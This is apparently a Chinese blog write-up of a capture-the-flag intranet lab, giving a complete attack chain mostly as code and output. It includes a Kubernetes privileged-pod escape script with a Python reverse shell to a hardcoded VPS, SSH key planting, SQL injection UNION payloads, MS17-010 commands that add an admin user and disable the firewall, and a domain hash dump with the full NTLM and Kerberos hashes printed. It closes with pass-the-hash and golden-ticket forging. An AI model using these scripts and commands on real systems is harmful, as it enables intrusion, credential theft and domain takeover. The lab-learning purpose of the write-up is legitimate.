 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116

#!/usr/bin/env python3
import requests, urllib3, time, subprocess, base64, sys

# ================= 配置区 (请根据实际情况修改) =================
TARGET_IP = "192.168.1.56"
API_URL = f"https://{TARGET_IP}:6443"
KUBELET_URL = f"https://{TARGET_IP}:10250"
CERT = ('admin.crt', 'admin.key')

POD_NAME = "root-escaper-v4"
NAMESPACE = "kube-system"
CONTAINER_NAME = "shell"

# 模式选择: 'read_flag' (直接读flag) 或 'reverse_shell' (反弹shell到VPS)
MODE = 'reverse_shell' 
VPS_IP = "101.34.249.170"    # 如果选 reverse_shell，请填写你的 VPS IP
VPS_PORT = "4444"         # 如果选 reverse_shell，请填写你的 VPS 端口
# =============================================================

urllib3.disable_warnings()
s = requests.Session()
s.cert = CERT
s.verify = False

def create_pod():
    print(f"[*] 尝试删除可能存在的旧 Pod: {POD_NAME}...")
    s.delete(f'{API_URL}/api/v1/namespaces/{NAMESPACE}/pods/{POD_NAME}', timeout=10)
    time.sleep(2)

    print("[*] 正在创建特权逃逸 Pod (特洛伊木马)...")
    pod_payload = {
        'apiVersion': 'v1',
        'kind': 'Pod',
        'metadata': {'name': POD_NAME, 'namespace': NAMESPACE},
        'spec': {
            'nodeName': 'web',  # 强制调度到目标节点
            'hostNetwork': True,
            'hostPID': True,
            'restartPolicy': 'Never',
            'tolerations': [{'operator': 'Exists'}], # 容忍所有污点
            'containers': [{
                'name': CONTAINER_NAME,
                'image': 'shiro-web:latest',
                'imagePullPolicy': 'IfNotPresent',
                'command': ['/bin/sh', '-c', 'sleep 36000'],
                'securityContext': {'privileged': True},
                'volumeMounts': [{'name': 'hostroot', 'mountPath': '/host_root'}]
            }],
            'volumes': [{'name': 'hostroot', 'hostPath': {'path': '/', 'type': 'Directory'}}]
        }
    }
    
    r = s.post(f'{API_URL}/api/v1/namespaces/{NAMESPACE}/pods', json=pod_payload, timeout=10)
    if r.status_code in [201, 200]:
        print("[+] Pod 创建请求已发送！")
    else:
        print(f"[-] Pod 创建失败: {r.status_code} - {r.text}")
        sys.exit(1)

def wait_for_pod():
    print("[*] 等待 Pod 启动并进入 Running 状态...")
    for i in range(30):
        r = s.get(f'{API_URL}/api/v1/namespaces/{NAMESPACE}/pods/{POD_NAME}', timeout=10)
        if r.status_code == 200:
            phase = r.json().get('status', {}).get('phase', 'Unknown')
            print(f"    [{i}/30] 当前状态: {phase}")
            if phase == 'Running':
                print("[+] Pod 已成功运行！")
                return True
        time.sleep(2)
    print("[-] Pod 启动超时，请检查镜像拉取或节点状态。")
    return False

def exec_via_kubelet(command):
    print(f"[*] 通过 Kubelet 10250 端口执行命令...")
    # 将命令 Base64 编码，防止 Shell 特殊字符转义问题
    b64_cmd = base64.b64encode((command + '\nexit 0\n').encode()).decode()
    shell_cmd = f"/bin/sh -c echo${{IFS}}{b64_cmd}|base64${{IFS}}-d|sh"
    
    target_url = f"{KUBELET_URL}/run/{NAMESPACE}/{POD_NAME}/{CONTAINER_NAME}"
    
    # 使用 proxychains4 调用 curl，确保流量走代理
    argv = [
        'proxychains4', '-q', 'curl', '-k', '-sS', '-X', 'POST', '-G',
        '--data-urlencode', f'cmd={shell_cmd}',
        target_url
    ]
    result = subprocess.run(argv, capture_output=True, text=True)
    print("\n--- 命令执行结果 ---")
    print(result.stdout)
    if result.stderr:
        print("[-] 错误信息:", result.stderr)
    print("--------------------\n")

if __name__ == "__main__":
    create_pod()
    if wait_for_pod():
        if MODE == 'read_flag':
            print("[*] 尝试读取宿主机 Flag...")
            exec_via_kubelet("ls -la /host_root/ && cat /host_root/flag* /host_root/root/flag* /host_root/home/*/flag* 2>/dev/null")
        elif MODE == 'reverse_shell':
            print(f"[*] 尝试反弹 Shell 到 {VPS_IP}:{VPS_PORT} ...")
            print("[!] 请确保你的 VPS 已经运行: nc -lvnp " + VPS_PORT)
            payload = (
                f"python3 -c 'import socket,subprocess,os;"
                f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
                f"s.connect((\"{VPS_IP}\",{VPS_PORT}));"
                f"os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
                f"import pty; pty.spawn(\"/bin/sh\")' "
                f"|| python -c 'import socket,subprocess,os;"
                f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
                f"s.connect((\"{VPS_IP}\",{VPS_PORT}));"
                f"os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
                f"import pty; pty.spawn(\"/bin/sh\")'"
            )
            exec_via_kubelet(payload)

vps起监听4444端口就行了，然后改成交互式shell

1

python -c 'import pty;pty.spawn("/bin/bash")'

这里是挂载了宿主机目录，然后就能拿到flag1了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

root@web:/app# cd /host_root
cd /host_root
root@web:/host_root# ls
ls
Notes  dev    initrd.img      lost+found  proc	snap	  tmp	   vmlinuz.old
bin    etc    initrd.img.old  media	  root	srv	  usr
boot   flag1  lib	      mnt	  run	swap.img  var
cdrom  home   lib64	      opt	  sbin	sys	  vmlinuz
root@web:/host_root# cat flag1
cat flag1
flag1{1fbfaaf6-4810-4239-b8df-b182b3ea11d2}

在宿主机目录写ssh公钥连接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

#自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_rsa \
    -o ProxyCommand="nc -X 5 -x proxyip:1080 %h %p" \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    root@192.168.1.56

ssh连上之后内网扫描

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

start infoscan
(icmp) Target 192.168.1.56    is alive
(icmp) Target 192.168.1.83    is alive
(icmp) Target 192.168.1.123   is alive
(icmp) Target 192.168.1.112   is alive
(icmp) Target 192.168.1.253   is alive
[*] Icmp alive hosts len is: 5
192.168.1.83:88 open
192.168.1.56:8080 open
192.168.1.123:8000 open
192.168.1.112:445 open
192.168.1.112:139 open
192.168.1.83:139 open
192.168.1.112:135 open
192.168.1.83:135 open
192.168.1.123:22 open
192.168.1.56:22 open
192.168.1.56:2379 open
192.168.1.56:10250 open
192.168.1.83:445 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo 
[*]192.168.1.112
   [->]WIN-R4DDIB9732K
   [->]192.168.1.112
[*] NetInfo 
[*]192.168.1.83
   [->]dc01
   [->]192.168.1.83
[*] NetBios 192.168.1.112   WIN-R4DDIB9732K.MICHA.COM           Windows Server 2016 Standard Evaluation 14393
[+] MS17-010 192.168.1.83	(Windows Server 2016 Standard Evaluation 14393)
[*] WebTitle http://192.168.1.123:8000 code:404 len:22     title:None
[*] WebTitle https://192.168.1.56:10250 code:404 len:19     title:None
[*] WebTitle http://192.168.1.56:8080  code:302 len:0      title:None 跳转url: http://192.168.1.56:8080/login;jsessionid=C422A14D4C504568EEE4B88A0D417918
[*] NetBios 192.168.1.83    [+] DC:dc01.MICHA.COM                Windows Server 2016 Standard Evaluation 14393
[*] WebTitle http://192.168.1.56:8080/login;jsessionid=C422A14D4C504568EEE4B88A0D417918 code:400 len:277    title:None

83这台有永恒之蓝，123有一个web服务，然后112也是一台windows

在这台机器先重新起代理，搭好代理再访问

然后打123

扫描目录找到docs路由

1

{"0":{"api":"User Information Query","method":"POST","url":"/api/BasicData","content-type":"application/json","params":{"username":"fuzzy search","workingID":"exact match"},"example":{"request":{"username":"al"},"response":{"status":"success","count":1,"data":[{"username":"alex","phone":"170*****723","email":"zmf7yv90y@company.com","workingID":"503207b4-0e73-41bd-ae30-cd921b6d7f28"}]}}},"1":{"api":"Project Record Query","method":"POST","url":"/api/ProjectRecord","content-type":"application/json","params":{"username":"exact search","grade":"exact match"},"example":{"request":{"grade":"A"},"response":{"status":"success","count":1,"data":[{"employee_name":"jaxon","task":"Brand Refresh","start_date":"2025-11-02","end_date":"2025-04-09","status":"A"}]}}},"2":{"api":"Attendance Record Query","method":"POST","url":"/api/AttendanceRecord","content-type":"application/json","params":{"username":"fuzzy search"},"example":{"request":{"username":"Alice"},"response":{"status":"success","count":1,"data":[{"employee_name":"Alice Johnson","status":"Late","remarks":"Arrived late due to traffic congestion","check_in_time":"2025-01-02 09:10","check_out_time":"2025-01-02 17:45"}]}}},"3":{"api":"Search for Password Hash (Limit 10)","method":"POST","url":"/api/PasswdHash","content-type":"application/json","params":{"username":"fuzzy search"},"example":{"request":{"username":"alex"},"response":{"status":"success","count":1,"data":[{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"}]}}}}

/api/PasswdHash的username字段存在sql注入

偷懒直接用别人脚本拿信息了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

import requests,json,re
BASE='http://192.168.1.123:8000'
s=requests.Session(); s.trust_env=False
def dump(name, inj):
    print('\n###',name, repr(inj))
    r=s.post(BASE+'/api/PasswdHash',json={'username':inj},timeout=8)
    print('status',r.status_code,'len',len(r.text))
    try: j=r.json()
    except: print(r.text[:3000]); return
    print('count',j.get('count'))
    for row in j.get('data',[]): print(row)
# try suppressing original rows
dump('secret', "zzzz' UNION SELECT flag,hint FROM secret--")
dump('login_passwd', "zzzz' UNION SELECT username,passwd FROM login--")
dump('login_hash_passwd_concat', "zzzz' UNION SELECT username,hash||':'||passwd FROM login--")
dump('info_key', "zzzz' UNION SELECT username,key FROM informations--")
dump('info_all_concat', "zzzz' UNION SELECT username,phone||':'||email||':'||workingID||':'||key FROM informations--")

可以拿到flag2和一堆用户名以及对应的hash，提示了aes就是要解这些hash拿到密码吧，不过前面都扫出来永恒之蓝了，所以接下来就打域拿最后两个flag

1
2
3
4
5
6
7
8
9

proxychains msfconsole
search ms17-010
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.1.83
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #允许rdp远程连接
set COMMAND 'net user 0d00 0d000721! /add'
set COMMAND 'net localgroup administrators 0d00 /add'#添加用户组到admin
set COMMAND 'netsh firewall set opmode disable' #关闭防火墙
#每次set完都run一下

现在就可以rdp直接连上去了,这里就不用上古项目rdesktop了，用xfreerdp,然后我写的用户可能有点问题来着，还是用别的佬的

1

proxychains4 xfreerdp3 /v:192.168.1.83 /u:N1tols /p:'qwer1234!' /cert:ignore /sec:rdp /drive:share,/tmp

但是不知道啥原因连不上rdp，直接smbexec拿flag了

1
2
3
4

proxychains impacket-smbexec 'MICHA/0d00:0d000721!'@192.168.1.83

C:\Windows\system32>type C:\Users\Administrator\Desktop\flag4.txt
flag4{35bdd403-4c3f-4065-bb24-bd0768479f70}

接下来就是拿其他用户hash了，导出整个域的hash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

┌──(root㉿kali)-[/tmp]
└─# proxychains impacket-secretsdump 'MICHA/N1tols:qwer1234!'@192.168.1.83
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  101.34.249.170:2080  ...  192.168.1.83:445  ...  OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe6509677ecfc86c5f30c0e7a39f4a18e
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4c9c203faedca105cff2eefc0bd4cb18:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
MICHA\dc01$:aes256-cts-hmac-sha1-96:97c285a759f88d1e49d99affccac0c2e7df7185c914ec7dcfbac2f8a11147bf5
MICHA\dc01$:aes128-cts-hmac-sha1-96:da5761dee1a6ee734274cc9d35be6df8
MICHA\dc01$:des-cbc-md5:7faef498cdeccdc8
MICHA\dc01$:plain_password_hex:f0fc8e5cdd7142ef79ecfbe75190fe73e4e8ddb80a991bdf40d35c10678fb3852af3dad6519434ce9ac4fbf90c8a85a8e4c6a54234573736dcca04a6614b7ad0c68af5482d8e6dd77740b1c037790e64dd6042d4036ae31b40b3861c1199ca49ec145bae776e52c12d800600b132dd643ef133b5e3418743be4705fe1a3f45b254df768ae8f62d9c15abd8b21681db90c1a1b36bd87f3a37dc8eefe047d57f65226ea68b347b3f7a30b4f06e03e220b085bc514a32e1afc03ea761f9a2f2a03c1ec9737132b1542f5cec4b8c0db4dac2d0402a4fc7c1f1a8ae4ace48258f0619b0239d5a0205fb4aecb0ecc7ca860667
MICHA\dc01$:aad3b435b51404eeaad3b435b51404ee:3f3db7e09d622c2068f7cfda079fc81b:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x9260d940c878f4ff5594ca00970825936ed132f4
dpapi_userkey:0x3e0c8a62b642b29ba6232e0d81b337493cd8b27f
[*] NL$KM 
 0000   DB 27 52 25 2C 65 57 BB  E7 75 76 74 63 D3 C5 BF   .'R%,eW..uvtc...
 0010   30 D0 10 27 23 B9 5E B2  3D FD 52 8C 43 4B F4 07   0..'#.^.=.R.CK..
 0020   D4 DF DA 13 D5 03 5D 86  C8 BA 9F 78 F7 17 3F 27   ......]....x..?'
 0030   A4 7B 56 D5 81 24 C8 48  CD EE A3 92 A5 BA EF 36   .{V..$.H.......6
NL$KM:db2752252c6557bbe775767463d3c5bf30d0102723b95eb23dfd528c434bf407d4dfda13d5035d86c8ba9f78f7173f27a47b56d58124c848cdeea392a5baef36
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain  ...  101.34.249.170:2080  ...  192.168.1.83:135  ...  OK
[proxychains] Strict chain  ...  101.34.249.170:2080  ...  192.168.1.83:49666  ...  OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:015f5d04d14d053508d14ac11d6496bb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b393c2be124a8b1875d340e492177029:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MICHA.COM\test:1103:aad3b435b51404eeaad3b435b51404ee:507f900f67d2a00d4bd77799745689f0:::
MICHA.COM\zarihow:1105:aad3b435b51404eeaad3b435b51404ee:cc4ce384ae49e1f877f6c3bd38fcc7e9:::
N1tols:3102:aad3b435b51404eeaad3b435b51404ee:6912928308e3cda903e6d75bd6091a20:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:3f3db7e09d622c2068f7cfda079fc81b:::
WIN-R4DDIB9732K$:1104:aad3b435b51404eeaad3b435b51404ee:06284f51a178d6dacdfcf2dc105cecba:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:481767273049409e1fcade9e64458b6d40ab7e75fe6dbdc87997f020c83cd0d5
krbtgt:aes128-cts-hmac-sha1-96:e7545b77955f4a0a5a72e97ceaa4d623
krbtgt:des-cbc-md5:c110943e57513bf2
MICHA.COM\test:aes256-cts-hmac-sha1-96:96a626e378c16488577f8a2769c1c34e42c06edbe28ecf6dd57a1616f22ec99f
MICHA.COM\test:aes128-cts-hmac-sha1-96:ac886fa94cb837b7fa3f10c82a5710e5
MICHA.COM\test:des-cbc-md5:6d54e062f820cbf7
MICHA.COM\zarihow:aes256-cts-hmac-sha1-96:add8c3e4bdf87174ef19d92b4de0d2ccd8971309818de2fdbcf3e702da44e69f
MICHA.COM\zarihow:aes128-cts-hmac-sha1-96:4054860d871050a7b16236b8098177c5
MICHA.COM\zarihow:des-cbc-md5:b9f7b3c14cb0e3c8
N1tols:aes256-cts-hmac-sha1-96:5274665254da90b8bb9613b3603ac83c162e8b08e226d5f4f296fbe064464e64
N1tols:aes128-cts-hmac-sha1-96:3365fe6e5e0af93ad8c0e94d3b481025
N1tols:des-cbc-md5:685e5415070b492f
DC01$:aes256-cts-hmac-sha1-96:97c285a759f88d1e49d99affccac0c2e7df7185c914ec7dcfbac2f8a11147bf5
DC01$:aes128-cts-hmac-sha1-96:da5761dee1a6ee734274cc9d35be6df8
DC01$:des-cbc-md5:b3a226fbe0ec2c89
WIN-R4DDIB9732K$:aes256-cts-hmac-sha1-96:124dd8d6c3f11ced2c5146990f0cace06e39aeb88d1922b9dfed1daf9443b169
WIN-R4DDIB9732K$:aes128-cts-hmac-sha1-96:fa10733230ac1e9d2b503537dcdce7e7
WIN-R4DDIB9732K$:des-cbc-md5:ad4c70134fa1a476
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

由于拿到了admin的hash

1

Administrator:500:aad3b435b51404eeaad3b435b51404ee:015f5d04d14d053508d14ac11d6496bb:::

直接

1

proxychains impacket-smbexec MICHA/Administrator@192.168.1.112 -hashes :015f5d04d14d053508d14ac11d6496bb

在上面我们看到了krbtgt，其实可以打黄金票据

在前面dc01的shell里面执行,因为这里的shell都有中文乱码

1
2
3

chcp 65001
whoami /user
输出：S-1-5-21-695962042-539767436-2100334642-3101

然后把拿到的票据去掉后四位,伪造Administrator的票据

1

impacket-ticketer -nthash b393c2be124a8b1875d340e492177029 -domain MICHA.COM -domain-sid S-1-5-21-695962042-539767436-2100334642 Administrator

加入hosts解析不然会报错

1
2

echo "192.168.1.83 dc01.MICHA.COM dc01" >> /etc/hosts
echo "192.168.1.112 WIN-R4DDIB9732K.MICHA.COM WIN-R4DDIB9732K" >> /etc/hosts

暴露伪造的票据到环境变量

1

export KRB5CCNAME=Administrator.ccache

直接拿shell

1

proxychains impacket-psexec MICHA.COM/Administrator@192.168.1.112 -k -no-pass -dc-ip 192.168.1.83
© 2025 - 2026 无敌可爱美咕噜
使用 Hugo 构建
主题 Stack 由 Jimmy 设计